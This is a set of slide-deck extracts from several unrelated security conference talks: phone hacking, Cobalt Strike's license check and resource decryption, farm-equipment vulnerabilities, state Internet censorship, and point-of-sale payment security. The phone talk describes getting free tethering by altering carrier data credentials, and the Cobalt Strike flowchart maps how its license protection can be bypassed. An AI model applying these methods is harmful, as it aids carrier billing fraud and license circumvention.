Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
CDMA
GSM
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
Dealing With Your Carrier
Use Automated Systems First
NOTE: CDMA carrier lock is…carrier-side
Be Circumspect
Find faults in features you’re paying for
Be Courteous
Keep Talking
Stress simple points
Stress that you need to make calls
○ …unless you’re not paying for that feature.
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
General Tips
CDMA
GSM
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
What’s a Feature Phone?
A non-smartphone
Many tricks will still work on smartphones
Your average cellphone
Generally running a proprietary OS
Generally running only sandboxed apps
A much less expensive alternative
…with many more locks
…with far fewer features
…I guess that’s why it’s a “feature” phone?
General Essentials
Data Cable
Surprise! eBay.
Serial Terminal Software
Look for the “GSM AT Command Set”
Bitpim / Gammu / Gnokii
Qualcomm PST (Product Support Tools)
CDMA only
Not, generally, available to anyone but carriers
Manufacturer PST
Not, generally, available…to anyone.
Some Form of Unlimited Data
…you’ll need it.
Your Grail: Manufacturer PST
The real bricking alert
Even when used properly
ESPECIALLY when used properly
Read as: find someone else who's tried it first
High risk
...high rewards
Get rid of the proprietary UI
...for now
Change from Qualcomm BREW to J2ME
Unlock Bluetooth profiles
Unlock USB Mass Storage mode
Flash features from newer phones
Stupid Phone Tricks
Enter these codes quickly!
Motorola: #0SETUP* (#073887*)
LG: [MENU] 0
Sony Ericsson: R*LL*L* or U*DD*D*
Samsung: 1475369126874#
Use # to open hidden menus elsewhere
Credit to howardforums.com
More plugs for them later
What Next?
Break your phone
Tweak odd settings
There are some things worse than breaking...
“Free” WAP on CDMA ONLY!
Use your own HTTP proxy
Look for “Web Sessions” right now, if you like
Cable enabling
Some phones won't accept a data cable!
NAI changer
Covered in detail later
“Free” tethering
Tethering
Carrier-authenticated
Requires a valid context
GSM: APN (Access Point Name)
CDMA: NAI (Network Access Identifier)
How do I get a valid context?
Buy one
○ Feature phone data plans are cheap!
Find one
○ Exploits a CDMA carrier hole…back later.
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
General Tips
CDMA
GSM
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
BitPim
Access to your phone filesystem
Open source alternative to…
…expensive tools
…proprietary tools
○ GAGIN, anyone?
…nonexistent tools
Works on every CDMA phone
…since the LG VX4400
Support gets better every day
Make backups with it frequently!
Uses of BitPim
Add ringtones ($2 per ringtone)
Add pictures ($1 per picture)
Download pictures ($1 per picture)
Add video (Do what?)
Download video (What, to a computer?)
Back up your phone
Need the In Memoriam slide again?
Modify system files
Another plug for howardforums.com
Sky is nearly the limit
Qualcomm PST
Yet another bricking alert
Yes, even though it's a carrier tool
Backup service programming
Restore it to a new phone, activate it online
Modify service programming
For tethering, mostly
Sure-fire Network Access Identifier changer
A Brief History of CDMA Data
QNC (14.4kbit/sec) aka 2G
Phone as a simple modem
DO NOT USE THIS
1xRTT (300kbit/sec) aka 2.5G
Phone carries certain authentication
○ Usually trivial to modify/override
Does not differentiate between phone and tether
EV-DO (1.5mbit/sec) aka 3G
Phone has difficult-to-modify authentication
○ One set for the phone (Phone NAI) for WAP, etc
○ One set for the tether (Tethered NAI)
Ignores external authentication
No other checks
○ Besides carrier data log auditing
Another Eye Chart
The NAI
Authenticates you for data connections
[email protected] look familiar?
Most phones have two
One for WAP/carrier services
○ Unlimited access on this NAI? ~$10/month
○ Non-plan access generally bills as airtime
One for tethering
○ Unlimited access on this NAI? ~$45/month
○ Non-plan access generally gets rejected
Demo Time!
Who wants to brick their phone?
Anybody?
Anybody?
If you’re reading this, you’re getting this
from the CD and you missed me
showing off in front of a live audience.
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
General Tips
CDMA
GSM
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
What Makes GSM Different?
GSM Data
…wasn’t an accident.
All voice plans have per-kB charges
No “Free Nights and Weekends” on data
GSM Phones
…are sold in free countries
…generally support J2ME out of the box
…rely on carrier locks
The APN
Authenticates you for data connections
wap.cingular look familiar?
Most phones have two
One for WAP/carrier services
○ Unlimited access on this NAI? ~$10/month
○ Non-plan access generally bills per kB
One for tethering
○ Unlimited access on this NAI? ~$45/month
○ Non-plan access generally gets rejected
Anything look familiar?
Good News, Everyone!
The APN is rarely stored on the phone
Special AT commands can set it on connect
Unlimited WAP access…
…becomes unlimited tethering!
Carrier Unlocking
Software/Firmware Modding
Generally manufacturer-specific
○ Sometimes phone-specific
Generally difficult
Hardware Modding
Still manufacturer-specific
Still difficult
Outside the scope of this talk
I could easily spend three hours on this
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
General Tips
CDMA
GSM
Smartphones
BlackBerry
Windows Mobile
Symbian
iPhone
BlackBerry Devices
Generally behave like feature phones
Generally come with very few locks
A recurring smartphone theme!
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
General Tips
CDMA
GSM
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
Symbian Devices
Generally behave like feature phones
Generally come with very few locks
A recurring smartphone theme!
Seriously. Recurring.
Open Source Symbian may be terrifying
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
General Tips
CDMA
GSM
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
Windows Mobile Devices
Unfortunately, due to time constraints, I
was not able to get approval to include
these slides in the DEFCON CD edition.
An updated deck will be available
immediately after my presentation at
DEFCON 16, including as much of this
information as possible.
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
General Tips
CDMA
GSM
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
The iPhone
The slide deck for the DEFCON CD had to
be prepared prior to the release of the
iPhone v2, and as a result these slides
could not be prepared.
An updated deck will be available
immediately after my presentation at
DEFCON 16, including far more than
you wanted to know about the iPhone.
Wait, What About Android?
What about it?
Extremely few details
Extremely questionable concept
Extremely open design
Very interesting to see carrier reactions
Thanks for coming to the talk!
Feel free to send questions and comments to:
[email protected]
Check out www.devalue.org for an updated deck and tools. | pdf |
Aggressor.main
进入相关认证工
作
cs.jar 开始运行
输出相关错误,比
如缺少验证正数等
错误
错误
成功启动相关
UI
new Authorization()
开始认证
开始认证
退出程序
readFile("cobaltstrike.auth")
将数据代入 _decrypt() 进行
RSA 解密,此处使用公钥解
密
将返回的
将返回的 byte[] 步入
步入 AuthCrypto.derypt()
将公钥文件进行解
析,并计算 MD5 与指
定值进行对比
load() -> readAll("authpub.key")
new AuthCrypto()
cipher
生成
生成
pubkey
生成
生成
狗头退出
狗头退出
MD5 对比失败
对比失败
将 cipher 和 pubkey 代入 _decrypt()
经过 DataParser.readInt()
将 byte 的前 4 个字节转
成有符号 Int
返回一个新的数组
根据有符号 Int 值进行对比,
判断 .auth 是否符合要求
处理文件头,最终返回一个数组
该数组就是解密 .auth 的最终结果
解码返回的
byte[] 数据
对比失败
对比失败
return new
byte[0]
判断 validto、valid
dataParser.readBytes(16)
byte[16] decryptKey
验证未通过
验证未通过
输出相应错误
输出相应错误
注:GUI 和 Console 的验证
一致
将该 key 代入
SleeveSecurity.registerKey()
获取一个 byte[32] digest
分解 digest
前16位作为 AES key
后16位作为 Hmac key
new SleeveSecurity()
mac = Mac.getInstance("HmacSHA256");
生成了一个
RSA/ECB/PKCS1Padding
的 ciper
当程序调用
SleevedResource.readResource()
时,进行下一步的解密
将字符串中的resources/ 替换成 sleeve/
因此实际上读取的是 sleeve 中的文件
将文件读取,返回 byte[]
SleeveSecurity.decrypt() 将 byte[] 分成两部分
第一部分是文件主体
第二部分作为对比 flag
代入 Hmac key
将主体部分进行 Hmac 摘
要认证,截取前 16位,与
第二部分作对比
对文件主体进行 AES 解密,返回解密后的 byte[]
对比失败
对比失败
报错:
[Sleeve] Bad HMAC on ...
代入 AES key
RcoIl 出品 | pdf |
The Agricultural
Data Arms Race:
Exploiting a Tractor Load
of Vulnerabilities In The
Global Food Supply Chain.
(in good faith)
A man, “Using a
hand tractor for
cultivation.
Falls City
Farmsteads,
Nebraska”
Rothstein,
Arthur, 1915-
1985,
photographer
(Public Domain)
John Deere 7450
ProDrive Forage
Harvester
Disclaimer
● None of research was paid for
● All research was done in good faith
● Nothing today represents our employers,
past employers, or future employers
● None of us are under gag orders*
● All content in the slides is CC0
● All trademarks, logos and brand names are
the property of their respective owners.
Who am I?
Sick Codes - good hackerman
https://github.com/sickcodes
https://twitter.com/sickcodes
https://linkedin.com/in/sickcodes
https://sick.codes
Why is this important?
Scnenarios
● “The sprayers are programmed by the
hacker to unevenly spray the
chemicals on the crops, applying
ten times the chemical on certain
parts of the field, and a tenth the
dose on other parts.”
Skewed risks
● Denial of Service BIG impact
● “hacker uploads a firmware update
that inserts an offset into the GPS
locations used by the target.”
Real threats
● “offset of (say) 100 yards North of
where it should be. The target
navigates itself onto a highway,
into a river, through a fence, over
a cliff, or whatever. Target is
destroyed,”
Conor Cagney:
https://sick.codes/leaky-john-deere-apis-serious-food-supply-
chain-vulnerabilities-discovered-by-sick-codes-kevin-kenney-
willie-cade/#comment-41658
More Real threats
● “The sprayers are programmed by the
hacker to unevenly spray the
chemicals on the crops, applying
ten times the chemical on certain
parts of the field, and a tenth the
dose on other parts.”
Why did we even look at Ag?
Nobody else was.
Willie Cade
Grandson of
Theo Brown who
was spent 30
years on John
Deere Board.
Kevin Kenney
● Nebraska
● Engineer
● Farmer
● Photographer: Walker
Pickering for Bloomberg
Businessweek
The hackers
●
Sick Codes https://twitter.com/sickcodes
●
wabaf3t https://twitter.com/wabafet1
●
D0rkerDevil https://twitter.com/D0rkerDevil
●
johnjhacking https://twitter.com/johnjhacking
●
rej_ex https://twitter.com/rej_ex
●
w0rmer https://twitter.com/0x686967
●
ChiefCoolArrow https://twitter.com/ChiefCoolArrow
●
Kelly https://twitter.com/kaoudis
Precision Agriculture
● Every single farm is connected.
● 5G, LTE, 2G/3G, LoRa, WiFi, GPS,
GPRS, WAAS, RTK, NTRIP
Precision Ag Accuracy
Accuracy
● https://
www.flickr.com/
photos/hindrik/
50411142851/
Accuracy
https://www.vecteezy.com/vector-art/94697-free-ear-of-corn-vector
What does
the data
do?
“Trade Secrets”
● “Does sharing data with data
analytic providers destroy its
secrecy?”
● “{I think the answer is probably
“no,” provided sharing is done
anonymously.”
● https://www.aglaw.us/janzenaglaw/
2015/9/30/is-farm-data-a-trade-
secret
Biofuel
Other data usage
● Carbon credits (carbon offset market)
● Mandatory
● Voluntary
● Shannon Sedgwick - Farmer turned Managing
Director
Internet of...
Dipping my feet in...
“All” tractors
rej_ex & john jackson’s CVE
rej_ex & john jackson’s CVE
● https://robertwillishacking.com/cve
-2021-27653-march-2021/
CASE IH + NEW HOLLAND
CASE IH + NEW HOLLAND
https://www.caseih.com/northamerica/en-
us/products/tractors/afs-connect-magnum-
series
CASE IH + NEW HOLLAND
https://fccid.io/OV5-MA4G/Users-Manual/User-Manual-3048524
● https://
www.qualcomm.
com/company/
product-
security/
bulletins
Thank you.
●
Sick Codes https://twitter.com/sickcodes
●
wabaf3t https://twitter.com/wabafet1
●
D0rkerDevil https://twitter.com/D0rkerDevil
●
johnjhacking https://twitter.com/johnjhacking
●
rej_ex https://twitter.com/rej_ex
●
w0rmer https://twitter.com/0x686967
●
ChiefCoolArrow https://twitter.com/ChiefCoolArrow
●
Kelly https://twitter.com/kaoudis
●
Willie Cade https://twitter.com/WillieCade7
●
Kevin Kenney https://twitter.com/GrassrootsKK | pdf |
Who Controls the Past
Controls the Future
Who Controls the Present
Controls the Past
Nothing gives rest but the
sincere search for truth.
-Pascal
Greetz
from Room 101
Kenneth Geers
1984
# Nineteen Eighty-Four (Orwell)
# Govt IW vs own populace
# Ministry of Truth, Thought Police
# Two-way telescreens
# Room 101
# Can Big Brother reprogram Winston?
2007
# The Internet is life
# Goodbye traditional media
# Unpredictable nature of the Net
# Weaponization of the Net
# Government repression &
legitimate criminal pursuit
Greetz 101 Palace Strategy
# Rule #1: Never trust the Internet
# Must shrink the info space
#Family-centric calendar (T-stan)
#DDoS the news (K-stan)
# Good reasons for censorship
#Criminal, cultural, religious
#Political adversaries
Greetz 101 Tactics
# Goal #1: the delivery of
unaltered messages to your
citizens
#(And denial of the same to
your rivals)
# The Internet can help
#Surveillance/manipulation
#State-owned telecoms
Cyber S.W.A.T.
# Read, delete, modify data packets
#By IP, domain, strings, etc
# Call law enforcement when
necessary
# Plausible deniability in
Cyberspace
# International politics? Human
rights? Buehler?
Which Internet?
# The Eastern Albonian Internet
#Few international sites
#Heavily regulated local sites
# Some gvts open, proud of censorship
#Better than silence
#Secrecy may imply impropriety
Practical Challenges
# Filtering Net traffic is not easy
#Networks are complex, dynamic
#Change control a nightmare
# No network is air-tight
#Sophisticated users
#Hostile network operations
Denial of Sin (DoS)
# Sex words make great keywords
#Pornography easier than politics
# Blacklists should be double-
checked by real people
#Marinated chicken breasts
#Middlesex County
# How to poison a webserver
Programming & Politics
# Challenge for AI: words in context
#Was that constructive criticism?
#Humour, irony, sarcasm, satire?
# SME required
#History, language, culture
#Impossible in Internet era
#Esp for one-man show: NK, T-stan
The Despot's Challenge
# Over/under-blocking
#Blacklisting
#String matching: “royal family”
and “corrupt”
#Should be 2-stage system
#Whitelisting
#Deny anything not explicitly allowed
The Human Factor
# Influence user behaviour
#Intimidation = self-censorship
# Security personnel
#Traditional skills inadequate
#Recruits need skillz
The Connectivity Commandments
I. Accounts must be officially
registered
II. All activity must be directly
attributable to an account
III.Users may not share or sell
connections
IV. Users may not encrypt
communications
The Executable File
# Open source vs corporate
#Manual conf vs point-and-click
# Hardware & software
#.mm .by .zw .cu bought from .cn
The Corporate Connection
# Collaboration or conspiracy?
#Target of privacy advocates
# Industry “politically neutral”
# Customization is key
#Exotic locales, languages
#Default categories:
pornography, gambling
# How do you advertise censorship?
DansGuardian
# Free Net surveillance
# “Unobstructive” to “draconian”
# Filter by URL/IP/domain/user/
content/file/extension/POST
# PICS, MIME, RE, https, adverts,
compressed HTML, algorithm
# Phrase-weighting, whitelist,
stealth modes
Chance, Fate or TCP/IP?
# Router-based control
#Blacklist IPs, etc
# DNS hijacking
#Owning the dictionary
# Modified Mirrors
#Altering adversary websites
# Cyber sting operations
#Not now, Darling, we have company…
The Most Repressive
Governments in Cyberspace
# The Top Ten calculus
#Reporters Without Borders
#OpenNet Initiative
#Electronic Frontier Foundation
#ITU Digital Access Index
#Freedom House
#Current events
#Donuts and coffee
Freedom House
Reporters Sans Frontières
#10 Zimbabwe
Cyber Tasking
# Oct 20, 2006: Pres Mugabe to Central
Intelligence Organisation (CIO)
1. Infiltrate ISPs
2. Monitor private communications
3. Flush out Internet journalists
# Police as café attendants, surfers
#Find those posting negative info
#“…some computer training first”
Guarding the Gateway
# Monopoly sought for pro-gov Tel*One
#All traffic, all profits
# Interception of Communications Bill
#Signif HW/SW expenses for ISPs
#No court challenges
#Threatened to shut down
# Monitoring system bought from China
.zw Defacement
#9 Iran
Selective Surveillance
# Phenomenal growth
#2001 (1M), 2007 (5M), 2009 (25M)
# Mature network monitoring, but laws
not routinely enforced
# Sites, not user behavior, blocked
#Muslim values emphasized
#± 1/3 websites blocked: porn,
anonymizers, politics
#More likely blocked if in Farsi
A Blogger's War
# No “immoral” reporting, anon pubs
# Web still “most trusted” news
#Forums can be openly critical
# Net savvy: Mirroring, blacklist
posting, RSS
# Blogging huge, even by government
#Accused CIA of authoring blogs
#Death threat against IR blogger
The President's Blog
http://www.ahmadinejad.ir/
.ir Defacement
#8
Saudi Arabia
A Moral Internet
# King A.A. City for Sci & Tech
#National-level proxy
#Eliminate net's “negative aspects”
#Caching, blacklisting, triage
#Pop-ups: “disallowed”, “logged”
#Encryption forbidden
# ISPs must conform to Muslim values,
traditions, and culture
Technology vs Bureaucracy
# Censor mix: morality and politics
#Porn, “unofficial” histories
#Blacklist removal (and add) forms
# Politically-focussed blocking
#Cat-and-mouse game with MIRA
# SA GVT: hard to keep up
#Highly educated citizenry
#Direct connect to foreign ISPs
.sa Defacement
#7 Eritrea
Last Online
# Tradition of clandestine radio
#1 transmitter = 3 anti-ER stns
# Disinformation now online
# Telecom Service of Eritrea (TSE)
#NOV 2000: 512 kps to 4 ISPs
#Opposition sites init accessible
# Few wealthy enough to own computer
#ISPs typically walk-in
First Offline
# 2001: human rights downhill
#No reporters, no NGOs
# 2004: cyber cafes moved to
“educational and research” centres
#Pornography cited; diplomats
skeptical
# Politics discussed outside Eritrea
#6 Belarus
Ah, The Good Old Days
# President controls print, radio, TV
# State Ctr for Info Security (GCBI)
# Owns TLD (ˆ DNS, website access)
# Beltelecom: state-owned monopoly
# “Persecution by permit”
# Crime: defaming “dignity” of leaders
# 2001, 2003, 2004, 2005: DoS of
websites critical of President
# 2006: “flash-mob” arrested
Cyber Showdown
# 3/19/2006: Election Day
#37 opposition/media sites down
#Pres challenger site “dead”
#DNS errors reported
# 3/25/2006: demonstrators arrested
#Internet inaccessible from Minsk
# Not comprehensive, but selective
# Pres Lukashenka won by wide margin
.by Defacement
#5 Burma
Illegal: Incorrect Ideas
# Net penetration ± 0.6%
# “Myanmar Internet”, state email
#No politics, webmail, anon, porn
# Anonymity impossible?
#Cyber cafés: name, address, ID
#Frequent screenshots
# Prison: unreg computers, shared
accounts, “incorrect ideas/
opinions”, “criticism”
Resistance is Futile
# Very little room for manoeuvre
# Online activism (abroad) since 1996
# International pressure
#Shareholder threats, business
boycotts, nation-state sanctions
# Data filtering provider
#Denied knowledge of SW sale
#WWW: PM & Sales Dir closing deal
.mm Defacement
#4 Cuba
No Private Connections
# Highly educated, but < 2% online
#GVT owns nearly all computers
# Cyber café: 1 hour = ½ monthly wage
# Cannot violate “moral principles”
#Illegal connection = 5 yrs,
counter-revolutionary post = 20 yrs
# Msg w/ dissident names crashed cmptr
#Pop-up: “state security reasons”
Cyber Black Market
# Connection-code, HW trafficking
#±30 dollars/month
#Students expelled
#Video posted of officials
announcing punishment
# Connections borrowed from expats
#Police have threatened expulsion
# Journalist hunger strike
.cu Defacement
#3 China
Mao on the Moon
# World’s most sophisticated Net
surveillance
#Ubiquitous, mature, dynamic,
precise, effective
#Army of public/private personnel
#Cybercafés keep logs 60 days
# Massive legal support for GVT
#Individual privacy laws?
The Great Firewall
# Removed: Taiwan, Tibet, Falun Gong,
Dalai Lama, Tiananmen Square
#By keyword at national gateway
#Missing URLs w/in TLDs
# Edited: blog entries
# JAN07, renewed “purification” of Net
#“Development of socialist culture”
#No new cyber cafes this year
.cn Defacement
#2
Turkmenistan
Father of All
# Turkmenbashi personality cult
#All media: praise to Niyazov
# Almost NO Net access
#None from home, no cyber cafés
#A *few* approved websites
# 2002: 8,000 Net users (pop. 5 M)
# IT certs: 58 in 2001 (last in FSU)
“President-for-Life” Gone
# New ruler election promise:
#Unrestricted Internet access
# 2 cybercafés opened 2/16/2007
#Soviet Central Telegraph bldg
#Admin announced no censorship
#Grand Opening: no reg required
#But nobody showed…
# Bright side: Turkmen are gamers!
.tm Defacement
#1
North Korea
The Real 1984
# World's most isolated country
#Perceived Net threat extreme
# State media only, cmptrs unavailable
# Kim Jong-il fascinated with IT Rev
#2000: gave M. Albright email addr
#Only top leaders w/ free access
# Top grads from KIS Mil Academy:
elite, state-sponsored hacker unit
Greetings, Earthlings!
# K Computer Centre
#Int’l pipe, IT hub
#R&D, tight ACL
# Kumsong school
#100 male students/year
#English, programming
#IM, no games, no Internet
# Spain-based portal: official sites
The Future of Cyber Control
1. National security perceptions
2. Market forces
3. Big Brother helps Little Brother
China => Zimbabwe
GVT Objectives
# Realistic goal
#Stop ordinary users from
blatant attacks
# Unrealistic goal
#Stop clever users from
sophisticated attacks
Analysts Overwhelmed
# Technology faster than bureaucracy
#SW, HW constantly evolving
#Website content too dynamic
#Computer network defense
challenges hard to overstate
E-conomics
# Politics: power or progress?
# Monopoly hurts efficiency, vitality
# Net thrives on information exchange
#Censorship slows cyberspace, economy
# Future will be ever more wired
# Fukuyama: The End of History
The Future of Cyber Resistance
# Internet: champion of freedom
#Traditional media much more
susceptible to control
#For ordinary citizens and
activists
# Privacy advocates should be
cautiously optimistic
Very Common Tools
# Tel/sat/web access to foreign ISPs
# Pseudonymous email
# P2P, anonymous proxies, encryption
# Dead drops, steg, covert channels
# Magic with apps/protocols/ports
# Creativity: text as pictures,
hiding in whitespace, ?, ?
In the News
#
Psiphon: Citizen Lab Project (UT)
#
Designed for Greetz 101 regimes
# Free user #1 installs SW
# Connection info sent to user #2
# #2 crypto com to WWW via #1
#
Security is personal trust
No Magic Bullet
# Cyberspace is anarchic
# No perfect attack
# No perfect defense
# Advice: increase vigilance at
key times (elections)
# If personally targeted, very
little may help you
Truth in Cyberspace
# Evidence requires:
#Uncommon expertise
#Infrastructure map
#Traffic baseline
#Multiple access points/data paths
#Knowledge of adversary tactics
# Normally only available to BB
The Human Factor
# User sophistication rising
# Lay tech analysis possible
#Latency, banners, errors, crashes
# Investigate outages quickly
#General censorship or targeted?
#Is content amenable to filtering?
# Legit or MITM … what do you think?
Bibliography
# "2002 Global IT IQ Report", Brainbench, March 2002, www.brainbench.com/pdf/globalitiq.pdf
# "Amnesty International concerned at increasing censorship in Iran", Payvand, 12/7/06,
http://www.payvand.com/news/06/dec/1067.html
# Anonymous, "Cuba inches into the Internet Age", The Los Angeles Times, November 19, 2006,
http://www.latimes.com/technology/la-fg-cubanet19nov19,1,2828501.story?coll=la-headlines-technology
# Beer, Stan. "Iran an enemy of YouTube", Wednesday, 06 December 2006, ITWire,
http://www.itwire.com.au/content/view/7795/53/
# "Belarus KGB arrests U.S. Internet specialist", Reuters, October 19, 2004, http://news.zdnet.com/2100-3513_22-
5417399.html
# Boghrati, Niusha. "Information Crackdown", Worldpress.org, October 26, 2006,
http://www.worldpress.org/Mideast/2536.cfm
# "China keeps largest number of scribes in jail", Associated Press, 12/10/2006,
http://www.thepeninsulaqatar.com/Display_news.asp?section=World_News&subsection=Rest+of+the+World&month=Decem
ber2006&file=World_News20061210151736.xml
# "A crack in the isolation of Turkmenistan: Internet cafes", USA Today (AP), 2/16/2007,
http://www.usatoday.com/news/world/2007-02-16-turkmenistan_x.htm
# "DansGuardian: true web content filtering for all", http://dansguardian.org
# Edelman, Ben. "On a Filtered Internet, Things Are Not As They Seem", Reporters Without Borders,
http://www.rsf.org/article.php3?id_article=10761
# EURSOC Two. "Iran Running Scared Of The Net", 04 December, 2006,
http://eursoc.com/news/fullstory.php/aid/1260/Iran_Running_Scared_Of_The_Net.html
# Fifield, Anna. "N Korea’s computer hackers target South and US", Financial Times, 10/4/2004,
http://www.ft.com/cms/s/3d592eb4-15f0-11d9-b835-00000e2511c8.html
# Geers, Kenneth. “Sex. Lies, and Cyberspace: Behind Saudi Arabia's National Firewall”, GSEC Version 1.4, 2003,
http://www.giac.org/certified_professionals/practicals/gsec/2259.php
# “The Internet and Elections: The 2006 Presidential Election in Belarus (and its implications)”, OpenNet Initiative: Internet
Watch, April 2006
# "Internet Filtering in Burma in 2005: A Country Study", OpenNet Initiative, October 2005,
http://www.opennetinitiative.net/burma
# “Internet Filtering in China 2004-2005: A Country Study”, The OpenNet Initiative, April 14, 2005
# "Internet Filtering in Iran in 2004-2005", OpenNet Initiative, www.opennetinitiative.net/iran
# "Internet fuels rise in number of jailed journalists", Committee to Protect Journalists, Special Report 2006,
http://www.cpj.org/Briefings/2006/imprisoned_06/imprisoned_06.html
# "Internet-based SMS blocked for Iran's elections", IranMania, December 04, 2006,
http://www.iranmania.com/News/ArticleView/Default.asp?NewsCode=47753&NewsKind=Current%20Affairs
# "Iran blocks YouTube, Wikipedia and NYT", The Bangkok Post, Dec 6, 2006,
http://www.bangkokpost.com/breaking_news/breakingnews.php?id=114803
# Karmanau, Yuras. "U.S. citizen arrested by Belarusian KGB", Associated Press, October 19, 2004,
http://www.signonsandiego.com/news/world/20041019-0455-belarus-us-arrest.html
# Kennicott, Philip. "With Simple Tools, Activists in Belarus Build a Movement", Washington Post, September 23, 2005,
http://www.washingtonpost.com/wp-dyn/content/article/2005/09/22/AR2005092202012_pf.html
# Last, Alex. "Eritrea goes slowly online", BBC News, 14 November, 2000, http://news.bbc.co.uk/2/hi/africa/1023445.stm
# Lobe, Jim. "RIGHTS GROUPS CONDEMN IRAN’S INTERNET CRACKDOWN", Eurasianet, 11/16/04,
http://www.eurasianet.org/departments/civilsociety/articles/eav111604.shtml
# LonghornFreeper. "North Korean military hackers unleash "cyber-terror" on South Korean computers", Free Republic,
05/27/2004, http://www.freerepublic.com/focus/f-news/1143440/posts
# Magee, Zoe. "Iran's Internet Crackdown", ABC News, Dec. 6, 2006, http://abcnews.go.com/International/print?id=2704399
# Manyukwe, Clemence. "Zimbabwe: Paranoia Grips Govt", OPINION, Zimbabwe Independent (Harare), November 10, 2006
http://allafrica.com/stories/200611100389.html
# "Media warfare in the Horn of Africa", BBC Online Network, March 2, 1999,
http://news.bbc.co.uk/2/hi/world/monitoring/280680.stm
# Mite, Valentinas. "Belarus: Opposition Politicians Embrace Internet, Despite Digital Divide", Radio Free Europe/Radio
Liberty (Bymedia.net), February 7, 2006, http://www.rferl.org/featuresarticle/2006/2/94d60147-0a69-4f28-86c3-
728a651fb0d0.html?napage=2
# "Mugabe's spies to infiltrate internet cafés", AFRICAST: Global Africa Network, SOUTHERN REGION NEWS, 12/04/06
http://news.africast.com/africastv/article.php?newsID=60327
# "New Belarus Bill Restricts Online Dating", ABC News,
http://abcnews.go.com/Technology/wireStory?id=1412972&CMP=OTC-RSSFeeds0312
# New Software to Fight Web Censorship, The Irawaddy, Friday, December 01, 2006,
http://www.irrawaddy.org/aviewer.asp?a=6443&z=148
# Nichols, Michelle. "Jailed journalists worldwide hits record", New Zealand Herald, December 8, 2006,
http://www.nzherald.co.nz/section/story.cfm?c_id=2&ObjectID=10414439
# "North Korea nurturing nerds", The Sydney Morning Herald, 10/21/2005,
http://www.smh.com.au/articles/2005/10/20/1129775892093.html
# O'Brien, Danny. "A Code of Conduct for Internet Companies in Authoritarian Regimes", Electronic Frontier Foundation,
February 15, 2006, http://www.eff.org/deeplinks/archives/004410.php
# Perkel, Colin. "Canadian software touted as answer to Internet censorship abroad", Canoe, 2006-12-01,
http://money.canoe.ca/News/Sectors/Technology/2006/11/30/2561763-cp.html
# Peta, Basildon. "Brainwashing camp awaits Harare journalists", November 29, 2006, Independent Online,
http://www.iol.co.za/index.php?set_id=1&click_id=84&art_id=vn20061129022721568C138622
# "Press Freedom Round-up 2006", Reporters Without Borders, 31 December 2006,
http://www.rsf.org/article.php3?id_article=20286
# Rena, Ravinder. "Information Technology and Development in Africa: The Case of Eritrea", November 26, 2006,
http://www.worldpress.org/Africa/2578.cfm
# Reyes, Nancy. "First they censored the letters, then the internet, and now, cellphones", November 28th, 2006,
http://www.bloggernews.net/12537
# Slavin, Barbara. "Internet boom alters political process in Iran", USA TODAY, 6/12/2005,
http://www.usatoday.com/news/world/2005-06-12-iran-election-internet_x.htm
# "South Korea probes North Korea's cyber-casino", TechCentral, 1/14/2004, Computer Crime Research Center,
http://www.crime-research.org/news/2004/01/Mess1401.html (original: The Star Online (Malaysia), http://star-
techcentral.com/tech/story.asp?file=/2004/1/14/technology/7106580&sec=technology)
# Sprinkle, Timothy. "Press Freedom Group Tests Cuban Internet Surveillance", World Politics Watch, 08 Nov 2006,
http://worldpoliticswatch.com/article.aspx?id=321
# Thomas, Luke. "Iran Online: The mullahs can’t keep their people from the world", March 02, 2004,
http://www.nationalreview.com/comment/thomas200403021100.asp
# "Turkmenistan", Reporters Without Borders, http://www.rsf.org/article.php3?id_article=10684
# Usher, Sebastian. "Belarus protesters turn to internet", BBC, 21 March 2006,
http://news.bbc.co.uk/2/low/europe/4828848.stm
# Usher, Sebastian. "Belarus stifles critical media", BBC, 17 March 2006, http://news.bbc.co.uk/2/low/europe/4818050.stm
# Voeux, Claire and Pain, Julien. "Going Online in Cuba - Internet under surveillance", Reporters Without Borders, October
2006, http://www.rsf.org/article.php3?id_article=19335
# Zimbabwe, Amnesty International, http://www.amnesty.ca/zimbabwe/
# "Zimbabwe: Revised Bill Still Threatens Rights of Access to Information And Free Expression", Media Institute of Southern
Africa (Windhoek)", PRESS RELEASE, December 1, 2006, http://allafrica.com/stories/200612010376.html | pdf |
A Journey To
Protect Points
Of Sale
Nir Valtman, CISSP
W : www.valtman.org
. : @ValtmaNir
Introduction
2
Photo by Bill Fraser
01/07/2014
3
01/07/2014
4
I’m an architect
5
01/07/2014
6
7
Zombies!!!
8
Defacement
9
AntiDef
OPEN SOURCE
Memory Scraper
Secure TDD
10
Why Points Of Sale
Targeted?
11
12
13
Deployment
14
15
16
17
18
Payment Application
Point Of Sale
IS NOT
V
20
RAM
DB
POS
Payment
Processing
Host
PA Server
Store
Payment Processor’s
Data Center
PA Client
RAM
DB
RAM
DB
POS
Payment
Processing
Host
PA Server
Store
Payment Processor’s
Data Center
PA Client
RAM
DB
Rest
Transit
Memory
Where Are My Credit Cards?
Mobile App
Presentation Server
Application & Payment Server
Payment Processor’s Data Center
Rest
Transit
Memory
Where Are My Credit Cards?
Mobile App
Presentation Server
Application & Payment Server
Payment Processor’s Data Center
Token Server
Credit
Cards
Retail
Environment
Assumptions
100% PCI Compliant
Retail
Environment
Assumptions
Retail
Environment
Assumptions
Retail
Environment
Assumptions
Not
vulnerable
Retail
Environment
Assumptions
Retail
Environment
Assumptions
Cashier ≠ hacker
Retail
Environment
Assumptions
Big Brother
RATs
Remote
Administration
Tools
Routing
Threats
37
38
READ&WRITE
39
I AM BOB
ME TOO
Payment Stages - Authorization
40
PA
Processor
Issuer
Gateway
Acquirer
Route Track1/2
Transmit Track1/2
POI
Transmit Track1/2
Difficult
Exploitation
Payment Stages - Authorization
41
